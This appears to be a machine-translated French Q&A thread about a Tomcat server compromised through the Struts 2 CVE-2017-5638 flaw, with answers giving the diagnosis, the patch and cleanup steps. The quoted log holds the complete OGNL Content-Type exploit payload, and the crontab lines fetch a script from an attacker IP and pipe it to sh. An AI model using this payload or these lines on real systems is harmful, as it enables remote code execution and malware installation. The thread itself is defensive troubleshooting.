Attaque par script shell sur le serveur Apache, via un cron d'origine inconnue

8

Lors de l'exécution d'une guerre de projet sur le serveur Apache tomcat, j'ai constaté que le serveur était compromis.

Tout en exécutant la guerre sur un inconnu cronfonctionne comme ceci

[root@App2 tmp]# crontab -l -u tomcat
*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh
*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh

Le téléchargé logo.jpga un script shell qui télécharge un malware.

J'ai trouvé un problème similaire sur ce site Web ci-dessous

https://xn--blgg-hra.no/2017/04/covert-channels-hiding-shell-scripts-in-png-files/

et

/security/160068/kworker34-malware-on-linux

Je n'arrive pas à trouver l'origine de ce planificateur cron dans tout mon code.

Qu'est-ce que je souhaite savoir qui a fait face à ce problème? et comment dois-je procéder pour trouver l'origine de l'ordonnanceur dans le code.

Remarque:

Je travaille sur un projet web JAVA (Struts 2) + jsp + javascript + jquery.

Ce planificateur s'exécute chaque fois que je démarre mon tomcat avec le fichier war du projet, mais je ne trouve aucun planificateur pour le planificateur dans mon code.

J'ai trouvé la ligne suivante dans mes fichiers journaux

[INFO] 2017-06-02 17:00:41,564 org.apache.struts2.dispatcher.Dispatcher info - Unable to find 'struts.multipart.saveDir' property setting. Defaulting to javax.servlet.context.tempdir
[DEBUG] 2017-06-02 17:00:41,565 org.apache.struts2.dispatcher.Dispatcher debug - saveDir=/opt/tomcat/work/Catalina/localhost/MyApplication
[WARN] 2017-06-02 17:00:41,572 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest warn - Unable to parse request
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, 
                content type header is %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).
                (#_memberAccess?(#_memberAccess=#dm):
                ((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
                (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
                (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
                (#context.setMemberAccess(#dm)))).
                (#cmd='echo "*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh\n*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh" | crontab -').
                (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
                (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
                (#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
                (#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
                (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
    at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:908)
    at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:331)
    at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:351)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:189)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:127)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:92)
    at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.java:81)
    at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:779)
    at org.apache.struts2.dispatcher.ng.PrepareOperations.wrapRequest(PrepareOperations.java:134)
    at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:83)
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
    at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
    at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
    at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:478)
    at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140)
    at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:80)
    at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:624)
    at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87)
    at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342)
    at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:799)
    at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
    at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:861)
    at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1455)
    at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
    at java.lang.Thread.run(Thread.java:745)
[DEBUG] 2017-06-02 17:00:41,574 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest debug - Preparing error message for key: [struts.messages.upload.error.InvalidContentTypeException]
[DEBUG] 2017-06-02 17:00:41,587 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullPropertyValue [target=[com.opensymphony.xwork2.DefaultTextProvider@6e817b9a], property=struts]
[DEBUG] 2017-06-02 17:00:41,625 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullMethodResult 
abhi314
la source
Avez-vous modifié les connexions Tomcat par défaut et désactivé le gestionnaire d'hôte?
Voulez-vous dire l'origine de ces deux entrées crontab (qui sont des tâches cron) ou le planificateur cron (également parfois démon cron)? Générez-vous des processus ou des scripts shell à partir de votre application Java (comme Runtime.getRuntime().exec("something"))? Avez-vous un lien vers votre projet?
Jan Zerebecki
Lorsque vous démarrez Tomcat sans l'application Java infectée, le cron est-il activé?
Comment démarrez-vous Tomcat? Comment déployez-vous l'application? (via GUI, script ou simplement copier le fichier .war dans les webapps?
J'ai ajouté des journaux de mon application, veuillez jeter un œil. N'hésitez pas à me faire part de tout ce que vous pouvez penser à ce sujet.

Réponses:

4

Après qu'OP ait ajouté des journaux, il devient clair que ce problème est dans l'exploit d'exécution de code à distance pour Struts 2 ( CVE-2017-5638 ).

Quelques liens supplémentaires:

  1. Nouveau exploit Struts2 Remote Code Execution pris dans la nature .
  2. CVE-2017-5638 - Apache Struts2 S2-045 .

La solution consiste à mettre à jour vos Struts vers la version 2.3.32 ou 2.5.10.1.

berserkk
la source
Merci pour votre réponse, mais j'ai déjà vérifié mon code pour des mots clés tels que 'logo.jpg' et '91 .230.47.40 'ils ne sont pas là. J'ai ajouté des journaux de mon application, veuillez jeter un œil. N'hésitez pas à me faire part de tout ce que vous pouvez penser à ce sujet.
2

J'ai déjà rencontré des problèmes similaires lorsque j'étais administrateur système. Je pense que vous devez distinguer s'il s'agit de votre serveur tomcat ou de votre application Java.

Lorsque vous démarrez Tomcat sans «l'application Java infectée», le cron est-il activé? (Je veux dire, supprimer votre application de Tomcat et la démarrer) Si c'est le cas, vous avez un problème plus important, vous devrez vérifier les scripts de démarrage et chaque application déployée sur le serveur tomcat.

Sinon, nous sommes sûrs que votre application est le problème.

Si tel est le cas, allez à:

$CATALINA_BASE/webapps/your_app 

Vérifiez l'intégrité de votre application, existe-t-il des fichiers supplémentaires que vous ne reconnaissez pas?

Allez maintenant dans le répertoire webapps de votre installation tomcat:

$CATALINA_BASE/webapps/

Dans ce répertoire, effectuez:

grep -R '91.230.47.40' *

Pour trouver le fichier / la ligne de code possible qui cause l'infection, il peut s'agir d'un fichier de votre application ou d'un nouveau.

Avez-vous votre code dans un système CSV?

Créez le fichier de guerre en dehors du serveur infecté à partir de votre dépôt CSV et procédez comme suit:

md5sum your_app.war

Supprimez votre application du serveur tomcat et redéployez, vérifiez que vous téléchargez la bonne guerre via md5, puis vérifiez si la crontab est invoquée.

Si vous fournissez des commentaires sur ces étapes, je serai heureux de vous aider.

Miguel Ortiz
la source
1
J'ai déjà vérifié mon code pour des mots clés tels que 'logo.jpg' et '91 .230.47.40 'ils ne sont pas là, les problèmes sont cependant avec l'application pas avec le tomcat. J'ai ajouté des journaux de mon application, veuillez jeter un œil. N'hésitez pas à me faire part de tout ce que vous pouvez penser à ce sujet.
2

Nous devions juste combattre ce type d'attaque sur un serveur, il continuait de redémarrer l'écrasement de crontab pour notre utilisateur tomcat comme décrit ci-dessus. L'adresse IP était identique. Grep du répertoire webapps entier pour l'adresse IP n'a pas révélé de coupable.

Dans notre cas, nous n'utilisons pas de struts, mais nous avions les applications "host-manager" et "manager" dans les webapps, et nous avions JMX activé / port ouvert. Le redémarrage sans ceux-ci semble avoir résolu, donc mon intuition est que la vulnérabilité pourrait être dans l'un d'entre eux. Plus précisément, une vulnérabilité JMX corrigée dans la version 7.0.73 pourrait être notre coupable ( https://tomcat.apache.org/security-7.html#Fixed_in_Apache_Tomcat_7.0.73 ).

Une autre précaution que nous prenons maintenant est de restreindre l'accès à wget et chmod à root uniquement (il suffit de faire chmod 770 sur ces binaires).

Jacob
la source